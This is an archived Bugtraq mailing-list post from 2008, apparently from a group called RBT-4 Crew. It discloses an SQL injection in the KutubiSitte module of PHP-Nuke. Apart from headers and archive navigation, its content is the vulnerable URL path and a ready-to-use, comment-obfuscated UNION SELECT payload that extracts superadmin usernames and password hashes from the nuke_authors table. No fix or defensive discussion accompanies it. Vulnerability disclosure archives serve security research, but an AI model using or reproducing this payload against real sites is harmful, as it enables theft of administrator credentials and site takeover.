PHP-Nuke KutubiSitte "kid" SQL Injection

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: PHP-Nuke KutubiSitte "kid" SQL Injection
From: lovebug@xxxxxxxxxx
Date: 6 Mar 2008 17:24:09 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

RBT-4 Crew 

rbt-4.net



PHP-Nuke KutubiSitte "kid"  SQL Injection

http://www.rbt-4.net/forum/viewthread.php?forum_id=51&thread_id=3058

AUTHOR : Lovebug



# modules.php?name=KutubiSitte&h_op=hadisgoster&kid=

Exploit : 

-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C0,aid,pwd,4%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A


Lovebug, r080cy90r, ThE_RaV[3]N, Dir31, The_Stooge

Prev by Date: Checkpoint VPN-1 UTM Edge cross-site scripting
Next by Date: Re: [DSECRG-08-018] Ruby 1.8.6 (Webrick Httpd 1.3.1) Directory traversal file Download Vulnerability
Previous by thread: Checkpoint VPN-1 UTM Edge cross-site scripting
Next by thread: Directory traversal in MicroWorld eScan Server 9.0.742.98
Index(es):
- Date
- Thread